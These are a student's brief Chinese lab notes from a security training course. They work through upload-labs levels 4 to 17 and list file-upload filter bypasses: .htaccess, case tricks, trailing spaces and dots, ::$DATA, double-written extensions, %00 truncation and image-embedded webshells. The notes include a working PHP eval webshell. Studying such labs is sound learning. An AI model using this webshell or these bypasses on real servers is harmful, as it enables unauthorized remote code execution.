实训第五天
- Antsword连接虚拟机
Pass 4
编写.htaccess文件
上传.htaccess文件
修改后缀
加载图片,上传成功
Pass 5
这一关吸取了上一关的教训增加了对.htaccess文件的限制
但是去掉了对大小写的限制,可以使用PHP后缀
上传成功
Pass 6
吸取了上几关的教训:既过滤了.htaccess文件,又大小写转换了后缀;但是最后没有去掉后缀后的空格,存在绕过点
上传成功
Pass 7
未对后缀末尾点号进行过滤
上传成功
Pass 8
未去除字符串::$DATA,截包后在php后加::$DATA
Pass 9
绕过空格和点
Pass 10
尝试大写PHP绕过,发现上传的文件后缀被删除
尝试双写绕过,注意php应该插入第一个p后面,即pphphp,如果插入h后:phphph,替换掉第一个遇到的php成了hph
Pass 11
url地址采用拼接方法存在绕过点
改包:将请求行中路径补充上木马文件名,并且添加%00
访问返回的shell路径,去除包含%00造成的乱码字符和后面一切字符,作为真正的shell路径
编写shell
<?php
echo "hello xherlock";
eval($_REQUEST['pass']);
?>
测试连接
Pass 12
做法同Pass 11,不同点在于这关是POST方法改变save_path地方不一样,同时post不会像get对%00进行自动解码,需要对%00进行URL解码
Pass 13
首先制作图片马:copy blank.jpg /b + shell.php /a blankshell.jpg(blank.jpg图片最好为空白)
上传图片马并查看具体文件地址:
查看include.php文件内容:
编写参数传入图片马地址和cmd参数访问phpinfo
Pass 14-15
可以直接按照上一关做
Pass16
使用老师发的gif文件木马
Pass 17
从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。
实训期间写的过于仓促,整体写的不好,下来补充upload-lab的分类学习